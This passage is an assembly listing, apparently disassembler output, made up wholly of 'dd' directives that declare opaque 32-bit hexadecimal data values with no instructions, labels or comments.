		dd 0D587C0B4h, 3534D876h, 0BE565C54h, 0E510B7Ah, 88BB1498h
		dd 2051E26Ah, 61BB97C9h, 28538EB4h, 58184AD0h, 0C9DB20A5h
		dd 0C0F9B327h, 3F7E45B8h, 7B8AEFB4h, 1BC39E7h, 8BFEABB2h
		dd 9AD7F74Ch, 6E8C3D1Eh, 67174A83h, 5B170FC5h, 0D77805A8h
		dd 0A95940D6h, 0C5505A35h, 8591D094h, 0AC17CFAh, 38D34B27h
		dd 4533177Fh, 594CA1F6h, 9177A71Fh, 588C7F1Bh, 6855E2BEh
		dd 96B85D8Eh, 396C40A4h, 7CF60CA2h, 6FB896A3h, 0AD592D44h
		dd 4AD1B49Bh, 297677C7h, 0CB829495h, 0AE60D3D8h, 3F848DBDh
		dd 5B37B58h, 0B3488712h, 0ACAF2DB8h, 0AEBA9729h, 2ED8700Bh
		dd 6AC22720h, 36F1175Ch, 3E2B813Ah, 0ACF76264h,	75720DFh
		dd 511F0793h, 0CDDE3262h, 0E0A10607h, 6B7C8BD9h, 0B83E0146h
		dd 2F91E6CBh, 9C6F68C4h, 0A6138975h, 7DC56431h,	0A4BC9h
		dd 745C7475h, 0FCE8D543h, 6EB70155h, 3F4A49AFh,	0CCA18785h
		dd 0A3D0916Fh, 28255A91h, 251D13FFh, 498F2CE9h,	80F6423Eh
		dd 1829A793h, 4E93F9BAh, 8F4EBF89h, 98EB87F3h, 50B40477h
		dd 7ABBA275h, 0F71977EAh, 9182C3D5h, 56984CE3h,	0F554ED59h
		dd 0F868A796h, 5FA94FA5h, 0D300E60Dh, 0F002C5E1h, 34FE5E83h
		dd 719B48F0h, 0E365ADC0h, 20B9E8EAh, 75CDCFC6h,	6CAA9B26h
		dd 2743A69Bh, 0ACAF368Fh, 7A6CAB08h, 0EF5CEDD2h, 0FB7E9F68h
		dd 0ED17BFC7h, 0AA28F0C7h, 0CA35CE82h, 39DEB6D9h, 57009B05h
		dd 13258B23h, 0CF6E8463h, 0FC1F22E7h, 0E59AF570h, 8730874Ah
		dd 1B7F74B2h, 0DA7C1B18h, 513C35DDh, 651EB278h,	9BF61435h
		dd 9496D25Eh, 0C3538ABFh, 75E8AF85h, 977B38B1h,	179AB404h
		dd 0ECEE952Dh, 6E8FE0E5h, 0DF8510FCh, 0D6AF7887h, 0E3F014AEh
		dd 9E9AC08Bh, 0ED898754h, 9F71EA86h, 9C1DFC7Ah,	2C748D3Dh
		dd 808F8E4Dh, 0B22D04DFh, 0CF65EE6Ah, 6ED0DBCh,	22BA65FEh
		dd 0BB4413ECh, 0EE4FC3D5h, 0D678A5F8h, 6BC4A6D2h, 3AD4ADEBh
		dd 0DA895331h, 14F2DDCh, 0B22BBAA5h, 0F0A723EAh, 0A2712AFCh
		dd 73E2C2DCh, 0DFA55585h, 9304205Bh, 98E20235h,	968A02B6h
		dd 191DB966h, 3D7D3FBFh, 2FE74B9h, 936963DCh, 1C1FABE7h
		dd 62EC8F07h, 4CD261Eh,	0F9C4DD56h, 42385ADFh, 397EA86Ch
		dd 561A9729h, 0B4FA091Eh, 0D2FAA40Eh, 0A3B1FBDBh, 78A2CA28h
		dd 2785F7A3h, 39758AEFh, 2BC827D5h, 0A8AB756Bh,	5A7DEBF4h
		dd 0D689F3C2h, 0EE940DB0h, 94352665h, 449D9F7h,	14C2311Eh
		dd 1B1DEEBDh, 659B4Ah, 0E53F7593h, 5F2075DBh, 717C307Ch
		dd 3AAE4F30h, 43F1AED3h, 0DABCB49Eh, 0C0419D6Eh, 7EFD9CD0h
		dd 8EF4C772h, 5B333AB3h
		dd 0A75F49BAh, 5A1E8BA1h, 369A3BEBh, 0FA3C0B60h, 0C349C1C6h
		dd 54ED1E4Ah, 113D0B92h, 5A42197Fh, 3CCF1AB8h, 5E5D703Eh
		dd 57942EB3h, 9A9546E1h, 0F8E8DB77h, 0BA2FF1A1h, 0CFE726B9h
		dd 0F77A356Ah, 8AFE9997h, 9BF60A40h, 959ABED7h,	0C551AE3Eh
		dd 94DECED2h, 7A997D43h, 58CEC8DDh, 8F3BA1F8h, 349B81F1h
		dd 87E0B985h, 0A430C399h, 0F1B9AF5Bh, 7607AB9Eh, 6C882D7h
		dd 0D5EDEF22h, 34CA5AEAh, 0AA30E2B4h, 1E5F432Ch, 0F83D9ABAh
		dd 0CF7E633Bh, 1DEF1378h, 0F4C2EDDEh, 809F752Eh, 0D32B1F87h
		dd 0F1590202h, 9E8F45C7h, 48FF281Dh, 59084D0Fh,	1FE16F51h
		dd 3EA6F844h, 0B8BF16A9h, 0ECEE615Ah, 22F65F33h, 7B60DA0Ah
		dd 4FCB58ECh, 9CD5C0D7h, 61845210h, 0E6D6398h, 9B3CBFFEh
		dd 0C2CBC0C2h, 0D0979D21h, 1CB1D9E8h, 80BF015Bh, 4BC75568h
		dd 87FD0834h, 4BF75139h, 0A4F7F2F6h, 9D74F992h,	67EBE86Dh
		dd 0B758C152h, 0F57452h, 68271E35h, 0BCCD5653h,	4506D80Ah
		dd 155A49DFh, 88FA2AEEh, 0C71D88C9h, 4C78467h, 9DFFF797h
		dd 0DA797FBDh, 3A91A8EEh, 80CF5D11h, 0BF5EE1ABh, 857C7632h
		dd 736FB2FFh, 167EA51Ah, 0BC1C568Ah, 0BDD73462h, 2F0617DDh
		dd 56B7E9C1h, 8197024Ah, 1DB31D1Ch, 0B44B071Dh,	87AF1712h
		dd 0E33CAE83h, 2DD75D4Dh, 0AE3EEFCDh, 0F0E59B00h, 8A8C02BBh
		dd 53851BCh, 0F97CAEEAh, 8A0B1B73h, 8CAA8AABh, 7F444697h
		dd 0EA78F40Bh, 5D95CFC2h, 1B54B559h, 488F4F4h, 7D186C3h
		dd 0FC7294E7h, 5F4EF13Fh, 0EF51A689h, 237333CFh, 3E185AF1h
		dd 255070F1h, 45713D5Ah, 0DDB93C0Fh, 0F4A74B9h,	48B1F5B5h
		dd 35C657CDh, 2374492h,	0AB5ACCCEh, 3C66C725h, 4E752A1Ch
		dd 0EA7E75AFh, 0B0B502D7h, 0ED4E4DA6h, 43E3100Bh, 4F94ED1Dh
		dd 35CEA4CBh, 625FD43Dh, 0D376EEDBh, 0F30483BEh, 0D7187C80h
		dd 9FECE5AAh, 0D6E6B727h, 454C8F71h, 0AEA56DD4h, 33DCA364h
		dd 62D17A54h, 0DB733C4Ch, 442773DEh, 81A20E87h,	0ABF5C504h
		dd 0E9176001h, 0B68BB470h, 8A7C092Dh, 0B78171AFh, 0B4FFA662h
		dd 0FBD2E065h, 4B936DCAh, 0A9D57466h, 0C7E5832Ah, 216663Eh
		dd 0E1770049h, 1CF9F5Ch, 0EB6A6756h, 63FAA072h,	9A0DCA5Fh
		dd 2CE68B7h, 0A0E127BAh, 388E8F50h, 0DE2F43FCh,	0E6E29248h
		dd 880F8B0Bh, 5A5D68BEh, 3C9ACEADh, 82B0F819h, 1AA37520h
		dd 1D5C242Dh, 1FE8B2FEh, 0D7956F3Ch, 6DB4F595h,	0D5CA72E3h
		dd 26496DA8h, 0A97702E9h, 857729Ah, 1551DF85h, 0DBF4AD9Bh
		dd 9DB99F0h, 0A89B95D2h, 0D0AAED14h, 5DDBF976h,	0A9991CCh
		dd 255CBB8Ah, 0D92001BBh, 0FBC16F24h, 0BE3DA881h, 1475A70Fh
		dd 243C8EAFh, 8AE39858h, 0BD29746Eh, 0EBBFC5D2h, 0B83B68C3h
		dd 175AB2ABh, 0B5C52BF9h, 40502477h, 0AEA8543Dh, 2AE5F132h
		dd 270B4A7Bh, 0A4173F2Eh, 0F9E7BCECh, 0EB015F81h, 0AA29FB92h
		dd 97E57F5Eh, 1A385AD9h, 7FFBFEF3h, 6BEC0824h, 5DFC272Fh
		dd 6BF28F61h, 0E6AB972Ah, 0E7E50243h, 0EEB44FD1h, 0FEE52AF9h
		dd 66666A15h, 2BC648FDh, 0BB9DE22Dh, 0AB003721h, 0BE2565ACh
		dd 38C19701h, 252A52ACh, 986F3BA9h, 742EA9AAh, 0C5F4CC69h
		dd 0F91DAE53h, 2A33E065h, 18BB15CDh, 4763C853h,	983E7554h
		dd 5FEE17D3h, 0BB1AC429h, 0C2D4332Ah, 87523470h, 4A4FD29Fh
		dd 0FA26129Ch, 0FD230E85h, 8D28904Ch, 0FF738832h, 0E90E7610h
		dd 0BAEC9DF9h, 11946557h, 1A25544Bh, 7F8077F9h,	824785FCh
		dd 56896815h, 0D8F6FB95h, 0B52FC105h, 46691D52h, 0CF8A942Eh
		dd 5E90E1F0h, 886B0D4Ah, 0AD3731h, 0D289B532h, 0E1B7232Eh
		dd 17F14487h, 3A3A5DB5h, 7AAF7FAFh, 584BB3E3h, 0B2A59682h
		dd 0D06E34D6h, 0FB4049F1h, 0FC3F612Fh, 0D78153F8h, 4F616E44h
		dd 72067520h, 53844A94h, 0F1575FF8h, 0B784BAA1h, 0BBCDAB49h
		dd 117755F6h, 367EC781h, 0D83FC315h, 0A7F2471Eh, 0FC1170D1h
		dd 0C720A9CCh, 2E62A95Bh, 0B03DA407h, 0F1DF9605h, 0F98A05Eh
		dd 0BBACBC2Dh, 0A41A0A7Bh, 0C8AACB7Ah, 6403D1DFh, 0C946B11Bh
		dd 46825261h, 4485A544h, 89DF49E1h, 0CA277028h,	50FD05EDh
		dd 0CF7A3142h, 470210D6h, 0DFCEE916h, 336EFBFDh, 405A5A38h
		dd 9FAC2499h, 2678A192h, 50BF0472h, 11BEED6Dh, 0D7878289h
		dd 0C1E46801h, 0D22C2027h, 0A55C4414h, 0D53B989Ch, 0D1A00922h
		dd 0D8DF4713h, 55FA2713h, 64370421h, 4CAAA1C6h,	227FA24h
		dd 96871D8Fh, 0FEB5FB69h, 0C1D1E073h, 0AB63FCA6h, 94AAB2C8h
		dd 0A2A0A901h, 4D8F7425h, 1EE3AADBh, 1F3C9167h,	6F31B9BCh
		dd 0D8816C08h, 0CC0F833Eh, 0BE934F11h, 70211BA3h, 9805D98Dh
		dd 0BC5E3F72h, 2751F999h, 1596A7D5h, 2383DFE0h,	21707B3Bh
		dd 8ADC1485h, 49476D4Ch, 0C22EC297h, 0ED375FE7h, 0F73AAE9Ch
		dd 8D328A84h, 2FF87EF7h, 476F87E2h, 0E54EE77Ch,	0EFB26AABh
		dd 66587ABBh, 97E9D628h, 685A194Ch, 646512Ah, 0BB843C08h
		dd 7B4DEE66h, 38B66DA1h, 0AC581406h, 12BBD8D9h,	7135FCDBh
		dd 6CDCDF14h, 3B007CA4h, 0F1B9046h, 0C65B164h, 311A1BF7h
		dd 0FC5E95Bh, 0B7F3ABDAh, 0E04AA9B7h, 0B4383085h, 0BF924961h
		dd 5D9F897Fh, 0A61F0548h, 3FB0AB3Ch, 0EB4B83BDh, 0D4477258h
		dd 225D5B4Dh, 0E9F7D45Ah, 0C0E9F6Dh, 0FDF13CBh,	7F254D79h
		dd 8C0FB66Dh, 0E9CC739h, 0A6BDE37Dh, 0AEA9E002h, 8F6B2FACh
		dd 0B64BBC96h, 7F37EA7Eh, 845438FBh, 0B0863EC5h, 0B72C9D31h
		dd 0C289CC53h, 2BB96BFBh, 0AB7FD5BDh, 0F143D480h, 9717EEB5h
		dd 2E54F99Ch, 0F46F851h, 888AC534h, 80ED1AABh, 363A0246h
		dd 6E1C2BF4h, 278BAC73h, 9DD68E8Ch, 0DFC35413h,	960C1773h
		dd 2C608C1Eh, 7B592B13h, 17DD1060h, 1D098DA7h, 35DF5B0Ah
		dd 8D86F694h, 54514048h, 0AB5AA928h, 1EA6E654h,	20EF3B33h
		dd 0D352ED5Ah, 0BDBF7E63h, 2FF6FE6Bh, 0B0FC67F4h, 0EA54D6F8h
		dd 96ABC0C1h, 0F7F68364h, 97D13781h, 0FD57F2B4h, 522D1CB8h
		dd 4B757C3Eh, 0DBB6BFB4h, 555954D7h, 5C5C85C1h,	11B059B4h
		dd 2EA00F87h, 0DF04273Bh, 0E958706Fh, 9AFE95BAh, 254F9439h
		dd 7A539964h, 0C834D281h, 0DB2DDC35h, 9529D805h, 0ACCAE67Fh
		dd 15D29E95h, 474BCF1Eh, 155B6C52h, 7BD5DC4Ah, 0D95ACDBCh
		dd 628023DBh, 0F17A0BC8h, 2B4337A1h, 0A00C0419h, 0AEBF24E9h
		dd 0AFDD1492h, 955AC3CCh, 0B87C17FBh, 66EA791Eh, 0E57A8267h
		dd 7EC14C5Ah, 1C55CAF5h, 95AB5A4Fh, 0B46D32EBh,	0F84A132Ch
		dd 5E2C9554h, 31B58DE0h, 0E2E1DE24h, 0C12C5F66h, 4C708357h
		dd 93F061Dh, 0BBA86B2Eh, 2B042DBDh, 6E87AEF0h, 55538C6Eh
		dd 0EDB7FBB5h, 7BBC58F5h, 0B8F47ECEh, 0E571AD14h, 55A3AF18h
		dd 12D0B0E6h, 0E40CC061h, 0D9A3EC1h, 528D23AAh,	3C6A5B68h
		dd 0F0FFBAB4h, 0B4482D8Eh, 34BE9B9Ch, 562DB51Ah, 0F557D925h
		dd 0F529CA49h, 0F6553EB1h, 0FA214D9h, 7FCFA74Eh, 4EA9ED4Eh
		dd 8557B16Dh, 6DDDFE42h, 77E159F5h, 91682414h, 0B92F8646h
		dd 1BE8D447h, 0E5F28917h, 0E2A28Ch, 8A743EADh, 0AEB1E96Eh
		dd 0BE20265Eh, 94A2E1F7h, 1E5DF315h, 0F816E07Fh, 0FBC77A8h
		dd 7F27EC6Ch, 0BD376F2Fh, 0C07332DAh, 9B817261h, 0E58852E0h
		dd 1AA6CD08h, 82F488DFh, 747FD3E4h, 0E949B6DAh,	5EABCBBCh
		dd 0E7F2ED14h, 0C5669D49h, 0E76EE652h, 0ACEFA47Eh, 7229642Ah
		dd 0F2E598A0h, 0BA9A91C0h, 0F910B7ACh, 0AD07670Fh, 97CCA6D6h
		dd 0A019E521h, 0DF85942Eh
		dd 8CA7083Fh, 0C521BADCh, 0C2DD0D2Dh, 0A3F8C1E6h, 49A7AB1h
		dd 0D20CD566h, 0E91C6E5Dh, 48BFC0F9h, 0C8AA3FEEh, 0FDC3E59h
		dd 0AE279403h, 1E65CAACh, 6DECDB7Fh, 177B61E2h,	2AA18D7Fh
		dd 0E239F924h, 0DFC5A586h, 7CB8CB65h, 4F1B7EDCh, 51C49D15h
		dd 0FA9D1B19h, 18E0F672h, 1BBF2A88h, 15DEF181h,	0FA2BF308h
		dd 0D9A31F8Ah, 0DB4690CDh, 51112FE8h, 0ED74318Ah, 0E2FEE0ACh
		dd 0FA472652h, 0E8D90DADh, 1CF1CB2Fh, 50AB4678h, 0D87998BAh
		dd 0A1D2C6C8h, 7D6996E7h, 316A2533h, 0EEA7C22Dh, 0AE8DB2A0h
		dd 0AA90B02h, 53667562h, 657CD055h, 0DA516E72h,	3F5F9EF8h
		dd 93E021E7h, 0CC485D64h, 0DAE60B3Fh, 0E35B4297h, 0DDC09025h
		dd 3D4B82CBh, 0E0F8568Fh, 15C8B161h, 73B61A1h, 0B23F818Eh
		dd 2F4075F7h, 991D8864h, 1514A82Ch, 0FD577F04h,	0EBF67122h
		dd 71388A05h, 0DE7D5F71h, 346B0F63h, 0F946B1FFh, 78727D32h
		dd 369B27D8h, 2226AE20h, 68975ABFh, 3AA4277Fh, 0CDFC50CBh
		dd 16BD49F0h, 0BE51FBB6h, 6B380959h, 0DD1CB7ACh, 0E7056AC9h
		dd 0E0F86E9Bh, 0EBA8AFB3h, 9B42910Ah, 196482DFh, 0BE67C224h
		dd 0E155AACh, 1432A15Dh, 0B437BB48h, 368CB846h,	399F862Ah
		dd 26FB07CAh, 0B9565C07h, 6D85B8Ch, 98A01002h, 0F07B69F7h
		dd 589068ADh, 20987F25h, 34CD84A0h, 0CA99DE60h,	7613CD9h
		dd 8703BA84h, 0B5F54643h, 0B67C501Ah, 0CE4E5E01h, 86DE450Bh
		dd 554AED46h, 0FD3BAF2Fh, 0AB099E07h, 273D81ECh, 39384DA6h
		dd 4412FD38h, 0C997729Bh, 0C9D2E9C8h, 0F92FE3D8h, 259DAC0Eh
		dd 42F808C1h, 982E0C98h, 14B7F3B8h, 0C58D61C8h,	2ADD9F23h
		dd 33B5291h, 0E0F375FFh, 75458F9Eh, 7FE6CE8Ch, 0B9577AE4h
		dd 768D7428h, 0C5A75BA4h, 2FB235D2h, 0F2FF546Fh, 0C65A02F5h
		dd 8F12B927h, 0A0353D55h, 0A46AE458h, 41A78A9Ah, 0CE094BBh
		dd 71280A1Dh, 0A94A7DB1h, 24CA4F49h, 36D492BCh,	35AA3B8Fh
		dd 88CDE5Ah, 0EBAFB1C1h, 82B30FCAh, 0F2EABC5Bh,	0CCB3FDA2h
		dd 0AD13DDFEh, 0C0F11C15h, 2A6A5528h, 9622761Bh, 0A2F6FECCh
		dd 112505FFh, 3B281553h, 4565C86Dh, 624BDB7Fh, 0A12D5400h
		dd 1F8CAF58h, 459F953Ah, 52809577h, 8DFE3F0Ah, 0A00DB897h
		dd 54AD656Ah, 0CCE6F7F9h, 25F1C3Eh, 5838AAECh, 7A95EF7Ah
		dd 0AF85E071h, 53A96F54h, 0FEED5AB4h, 730434Dh,	270952EAh
		dd 23E63EE8h, 0BD4F7C89h, 0ABE7F10h, 0CF559EE2h, 40FB0ED1h
		dd 0EFB1C235h, 0DBA9707Dh, 79CEFDC0h, 5A3E152Fh, 81BAAD44h
		dd 742DE61Ah, 922BD597h, 0BB214ECFh, 0A661AB7Eh, 88B5DDCCh
		dd 708AE57Ah, 77795D83h, 0A558FE2Dh, 382BD68Ah,	0F96055Dh
		dd 77EFC16Eh, 1F5E379Dh, 9071D2Dh, 0DD5AA391h, 0EF298D70h
		dd 3CE81896h, 0E27312C5h, 0F117C607h, 27A6150Eh, 0A825E4EEh
		dd 51EC9DCBh, 71731D74h, 0AA2EFE1Bh, 1386F542h,	712E89DDh
		dd 6FDDAADFh, 5A4ECAEEh, 0AB00590Eh, 62291136h,	6966F6FFh
		dd 0A8B265F4h, 0B003A14Fh, 9376B56Ah, 6F12BBADh, 84A9E18h
		dd 8417B8B6h, 0BFF2596Ch, 0CB04F45Ah, 160AF5B1h, 498C4AB1h
		dd 5AFB96B3h, 0CEF506D1h, 0CD7243EFh, 0FCDBF11Bh, 0B6DC70C5h
		dd 2BB8C7Ch, 104AA12h, 2F04E4E9h, 22E63C11h, 0B79D7513h
		dd 1DA7A7A7h, 0FBAAD5D3h, 0D4D0E0A1h, 5B304068h, 0DADC89DEh
		dd 0EA4EFD39h, 0D513F55Ah, 0CDABD11Ch, 0F414EB88h, 4142D35Ah
		dd 0AB5EC45Eh, 78361F89h, 7940C061h, 46DA5571h,	0FAF7ADB5h
		dd 863A32ACh, 2AF5B86h,	0ADEE77CDh, 58B2E5C5h, 13C541BDh
		dd 0C71124E8h, 0B699445Bh, 1E4CC0F6h, 6CD7EC80h, 9D556D11h
		dd 0A257BEF9h, 86FC19AAh, 6C69E1F2h, 0C5A195FCh, 6E7E9F00h
		dd 0A391D404h, 0C312F302h, 4A49CAFCh, 0DC0DC2DDh, 0A5B8768Bh
		dd 0A1BB3397h, 51ADEE2Eh, 0F80E3419h, 74425661h, 260B1E69h
		dd 0D1486E2Eh, 14B3DC54h, 58F61D25h, 0E7804F57h, 3A41A887h
		dd 46EC9236h, 7BD868C3h, 2F179D15h, 33B5A779h, 2EADF6A2h
		dd 55E63DE7h, 8F9F9CB4h, 6CAB239Fh, 0F593ACC4h,	0DDFDA05Fh
		dd 0F3A29914h, 0D5F2D703h, 86F2E6E4h, 5F46FC33h, 5C00D2C5h
		dd 4275B6A8h, 4FF856CFh, 73503645h, 5539CE01h, 0E8D65578h
		dd 0D12C3845h, 172FF641h, 0CF3AB414h, 2581EAF7h, 8336BE6Ah
		dd 2BC044A2h, 8E43FF46h, 6DE29B14h, 4F5EF0F9h, 0BA10B483h
		dd 0D5D4F3B8h, 0DE1F2DC1h, 5C018E23h, 4751CF69h, 9DF9455Fh
		dd 4A7AB0F3h, 0E2F84B51h, 92AA0AFAh, 0E83855ACh, 0F3E60A23h
		dd 0D4D1D32Eh, 0CC654555h, 0DAD8725Ch, 99ABC4F4h, 5DEE46D1h
		dd 89C2B5F3h, 0AC320E95h, 6855C5EBh, 2B64E998h,	0B8A09D98h
		dd 3895EC35h, 0B85E2D09h, 0DA372610h, 19A714F2h, 0E03CEEEBh
		dd 12C48FAAh, 57F0EEF4h, 1D4FA975h, 667F281Fh, 0AFFD5AB4h
		dd 0E77203E3h, 0D9C1F48Fh, 0FCF83EB2h, 87DB85E0h, 98CEB02Dh
		dd 0C5C1099Ah, 2A3CD794h, 636B61E1h, 4DDAE6ABh,	0E8AB2215h
		dd 956F3E82h, 0DC4EF6C2h, 189A0BEFh, 954253B5h,	7242ABBEh
		dd 2697AFA5h, 97FD5F46h, 43B67102h, 0F292F176h,	0B3AFF4AAh
		dd 0A4C3071Bh, 0B195FCDh, 5AD16C17h, 2EE55F97h,	54C456DFh
		dd 89FF9B73h, 3DE93392h, 3491AED1h, 97C9AFBDh, 7D05B423h
		dd 0F17765ADh, 2DA1B5Dh, 3CF4BE6h, 0C2D11EFFh, 0E5373595h
		dd 519781F3h, 3E31B66Ah, 65577E14h, 2CDCEF2Ch, 402B90EBh
		dd 81F770A1h, 0F6F58F2Fh, 904F7CA0h, 0F81FF190h, 4B7D7B34h
		dd 3F7BD41Dh, 0D7EBDA4Dh, 9635F4BBh, 0B280465Fh, 4F987D09h
		dd 3BD5846Fh, 2C25DA17h, 0FFFFB347h, 0C125F93Dh, 496E3F0Fh
		dd 0CB811705h, 573BC375h, 0E751AA30h, 0B38752CEh, 98B53309h
		dd 59DFE061h, 78035625h, 15754B06h, 590FA1B4h, 0FDDA2042h
		dd 561865A0h, 0B8EFCFB0h, 47042392h, 176BE157h,	9116D3F1h
		dd 0AF8186F2h, 0DECD8F8Dh, 5EBC360Ch, 0F60C80E1h, 8463367Bh
		dd 51A199A7h, 239A3605h, 0A12CB1D7h, 0ECA3D167h, 32EE06DBh
		dd 8CCCFF4Bh, 0DD559412h, 0F8255129h, 0A87EFFABh, 5C046EB5h
		dd 0D061AF3h, 0B02F8507h, 0D6E13A03h, 1C72F7A2h, 94410B1Bh
		dd 93EDF3AFh, 0CBE8F538h, 8963667Dh, 0B5FEF60Ch, 0B3BA4EC1h
		dd 0D3C1D01h, 42BEB034h, 1D569AF5h, 0A199BBB0h,	0DAB4B47Ah
		dd 0EF57BDFAh, 0FDAF2F32h, 0A2D034FEh, 93A4C43Ch, 0BFF08E4Ah
		dd 0ED2D749Ch, 0FB2BEA9Ah, 4A238FCAh, 0F673A4DCh, 95BF255h
		dd 0E238736Bh, 18B41287h, 316C32E0h, 0EEE8742Ch, 9BB4F8BCh
		dd 0BBF79519h, 0F8B35467h, 67A5E147h, 24C0BD6Bh, 1528B566h
		dd 7D8FC31h, 0E3652C72h, 0EB10AC62h, 689D83DAh,	8C4687E3h
		dd 0F022C5A1h, 0ED4E5F88h, 14DA7F65h, 0E4275AE3h, 0E8141816h
		dd 0D354CEDCh, 0D9F0A363h, 0E563C08Eh, 2DE3D19h, 0EAD267CEh
		dd 0E36D9CD9h, 0FB6E7BD2h, 0C3B690D5h, 7C9B7D67h, 9CE629B1h
		dd 0FA774D3Ch, 0C45EDE8Bh, 0C1E9E030h, 0CC4BC78Eh, 3F822BC2h
		dd 8BB454Dh, 0E42F8DECh, 0A7F0A880h, 0A8552C8Ch, 0C4E9A421h
		dd 0ACB45B9Eh, 0E295F32Fh, 345FC22Bh, 0C927AAAFh, 0BDFFAC7Ah
		dd 536CF7A9h, 0CF4A2B60h, 0CAE95BAFh, 63A751B3h, 2A7DAF80h
		dd 1AEDF1DAh, 0F99FF52Dh, 6A10855h, 44E63FCEh, 8E197D95h
		dd 9C0533F3h, 6AF6F885h, 0A6CD79F4h, 0A0E307F3h, 2BC9D863h
		dd 0E036B0E5h, 0C1FECD1Ah, 5AF521D8h, 0F75615C1h, 0F13F509Dh
		dd 0CC77C8A4h, 0BC04DE07h, 0D55A3FCAh, 0AD18EF1Ah, 0C6E454A2h
		dd 45D3D577h, 4425B5EAh
		dd 0A81E7F6Fh, 0F3BD8CC7h, 0E4FF7628h, 0B68EB84Ah, 0ACCEAB82h
		dd 766BC8F9h, 12AAB902h, 50FB3CDDh, 8A3F76A0h, 3EE0B196h
		dd 51352EABh, 982C9CF2h, 0C952B81Ah, 0C3ACE52Ch, 0C670E841h
		dd 1B3750ACh, 0EB47B60Ah, 0CE074A88h, 0A16D5D39h, 0A591D172h
		dd 54927CAAh, 0EA76C5AAh, 0EC7FCEF7h, 0A4D839Ch, 759A5577h
		dd 0E2866E13h, 0DAB6E0F0h, 0DB5BC7Ch, 260BE3DCh, 8E47FBAEh
		dd 0C089ACE2h, 3FCA0F83h, 99D1540Bh, 0B47BD082h, 7A882F33h
		dd 78AFEE2Bh, 3B3D1A93h, 0B5512192h, 5C311A72h,	0FE1CC1FEh
		dd 5B42BA42h, 9FCB2D23h, 0B81F2FF1h, 355DF638h,	0DB123414h
		dd 42E90E3Ch, 0CA11F19Dh, 8635E2F9h, 58AC86A0h,	0DE95F670h
		dd 0B6D6CF4Ch, 16F9F309h, 752B455Fh, 92CC57F8h,	5675BDABh
		dd 0EABD2862h, 2C93DA7Ch, 68EE3FDFh, 3FC09419h,	50EEB8F7h
		dd 303C9459h, 0DF21B1ECh, 425F3EB6h, 5F40366Ch,	178958EDh
		dd 5070C315h, 0B0414F17h, 938ACAE5h, 0EE903BA4h, 3CF0CD61h
		dd 111342BAh, 14ED49D5h, 0B83B2AB8h, 0FB73374Dh, 0FFF30755h
		dd 89B03091h, 0FBB0E2F5h, 36119D91h, 0EA0F3EBBh, 0B4A2D760h
		dd 689C9450h, 2E50FAA2h, 0D1E9976h, 926BFAh, 4A4148BEh
		dd 0E4784E4h, 0BFF652A2h, 2C4C2F85h, 0AB2AFF8h,	1FD067B1h
		dd 22AA212Ah, 0D0A9EB53h, 0AABA350Fh, 0CDD4DBEh, 4893A51h
		dd 4751A20Bh, 0F27CF907h, 0FABF08C0h, 32BEFA1Ah, 9CA8611Fh
		dd 9A043A9h, 4370D43Fh,	0A4363CB2h, 0A32AE48Bh,	5D145A11h
		dd 39B2EFCAh, 4A15536Dh, 7D60E48Bh, 5C751A19h, 60713534h
		dd 0EA4E559Fh, 2BE4E951h, 0E9E1A453h, 8DA13D68h, 0AE075DD8h
		dd 0D1F61F7Eh, 3A2B8E56h, 46E422A0h, 0F3EB433h,	0F4EBD9CEh
		dd 68CE072Bh, 1EE33F9Eh, 0F645BDDBh, 8E04C5DDh,	7FAFAAF6h
		dd 8A0313BDh, 17F785E7h, 0B7558695h, 0EE5F935h,	0FFB3DD1Fh
		dd 8F43563Ch, 277D9F05h, 2DEA6403h, 0FE369B00h,	0EDADEB14h
		dd 0BD4EE71Ah, 3B95FA94h, 6214ECDCh, 334E17D3h,	0CFF6DD3Ch
		dd 0ED1E9295h, 7AD8E561h, 0B61328C5h, 5B8F5E0Eh, 0CA0D4673h
		dd 6B1F93BFh, 0C6BFEE7h, 0FC4DF6C8h, 0D9526B70h, 0A312B2E0h
		dd 0FD21BAE4h, 7B5C8F5Eh, 0D79B14E6h, 0DAD97808h, 68EE2FAh
		dd 0BA495D9Eh, 0E07E89EDh, 0D59FCBE1h, 0F6C7B35Bh, 0AD9D8FC1h
		dd 28C5B7A7h, 4C5D7D30h, 0F9F2EE2Bh, 204AE8C0h,	9375738Eh
		dd 0ED305290h, 7E94C2CEh, 0A7ED9F95h, 40856915h, 0B94F45FCh
		dd 289EC21Ah, 0BED53FA9h, 54F4CCBh, 0FEB6043Fh,	0E8BDC50Dh
		dd 0D5F87D87h, 0A854B536h, 80C7FA2Bh, 36FA4E3Ah, 8035968Ch
		dd 0F8324B33h, 59F5A83Ah, 6BCA5A2Eh, 0ACB11B1Ah, 6549C0F0h
		dd 0FBE62E99h, 0FB2A1B59h, 8FDCD4D0h, 92838576h, 0A1AFAAA6h
		dd 6C9C332Ah, 3E6EB1A9h, 54FA77DCh, 95A347BCh, 0C571961Ah
		dd 0D093B7B6h, 0B1E15D79h, 0F26C5DA1h, 4CC0089h, 1EC8D855h
		dd 883466FCh, 4C74D9D4h, 0DE4B7329h, 5673BFFBh,	0B7518372h
		dd 0E61AB811h, 80317AB3h, 79AD5431h, 0C4C126C6h, 4AADF7EBh
		dd 2E5B5603h, 770B19F7h, 5737717Fh, 0F0B49B07h,	22AC6CA9h
		dd 9E05EEBAh, 927112BFh, 0FF756946h, 91CA6C44h,	3D8C2Fh
		dd 0BFC88EADh, 0D0CA2F59h, 8AD1D5DCh, 0A71F69F1h, 2FC73642h
		dd 1698BD02h, 5BA77EFFh, 0F224D517h, 0B4853485h, 0CEA26195h
		dd 0ED800D8Eh, 0A0810536h, 0CC3530ECh, 0B53219E1h, 0D604E319h
		dd 1C52A1E4h, 7FAF4C9Eh, 0D0224B0Ch, 537C9395h,	160FFF6h
		dd 0F12F2863h, 0B2CBC89h, 0DEFF3DC0h, 0CA137A70h, 268E6F67h
		dd 0BF651219h, 0E29F9C82h, 9E67F2F4h, 0BD3BAEDAh, 0C0950AA5h
		dd 0FAFF32C4h, 0F0F15710h, 0F231A95h, 0CDD532ECh, 4CC5BB17h
		dd 0EE2FED18h, 748B976Ah, 0D18C9338h, 0ED03CA5Fh, 0E00AD0F5h
		dd 1EE7D36Eh, 0BDBCAF3Eh, 0A59AF4F1h, 0D58CD13Bh, 2D5563E0h
		dd 0DB1ABDh, 0E3D5330Dh, 0AEB9FF32h, 0A6C73224h, 854A88E6h
		dd 0EAE85A7Ah, 19C4A820h, 35446A18h, 0CD546A34h, 199116F2h
		dd 0C417A824h, 4ADE00C5h, 755FF413h, 0F2DCFE27h, 619A4284h
